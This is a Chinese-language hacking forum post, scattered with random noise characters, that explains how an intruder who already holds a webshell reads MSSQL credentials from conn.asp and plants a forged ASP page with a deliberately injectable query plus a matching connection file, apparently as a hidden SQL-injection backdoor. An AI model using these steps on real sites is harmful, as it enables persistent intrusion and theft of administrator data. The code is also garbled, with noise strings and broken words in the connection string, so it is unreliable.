首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表。因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:
}4 |2 c) }: PASP/Visual Basic代码
; {2 E8 d, v" j3 ?4 Q! _5 q<!--#include file="xx.asp"-->
6 ?" l' ~3 T* X! A1 d) ?" \2 ~<% 9 \0 f) u; N! b/ N2 z
set rs=server.createobject("ADODB.recordset")
z% x0 K8 c5 r% W0 U, |# |id = request("id") $ i/ M! r( p' ]8 o
strSQL = "select * from admin where id=" & id * ^2 U7 a, `. J# U5 X/ ~8 ~- F
rs.open strSQL,conn,1,3
8 o5 B6 T( C0 ?. Vrs.close 3 V' [( {( V/ C+ U
%>
1 x" Q. M/ o5 p6 S" M把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在。你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!
2 h$ x& x; L- i4 D) a% ^然后就要构造一个连接数据库的文件了,代码如下:
* @, P& p6 K. J Q5 OASP/Visual Basic代码* v* e) g2 E H2 E. C
<% ; ?9 d$ n/ H' o3 r( x2 |
strSQLServerName = "000.000.000.000" '服务器名称或地址
5 _+ y' G/ o( K1 C [/ estrSQLDBUserName = "sqlname" '数据库帐号
% N& K5 O# B% J# V- @strSQLDBPassword = "sqlpass" '数据库密码 & \/ T9 G. l6 U
strSQLDBName = "sqldataname" '数据库名称 8 W' ?$ P; O! w% E, X8 z6 `
Set conn = Server.CreateObject("ADODB.Connection") 2 z# V% b5 z8 j: k
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";" % e0 S1 D4 B$ D* _0 T- e
conn.open strCon 3 |$ ^: f7 j3 e4 [. O
%> 6 r5 t) @% ~5 _; X5 p% k
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。就这样,正常情况下,就OK了,伪造成功: Y. ^6 k( C5 R$ y8 e
|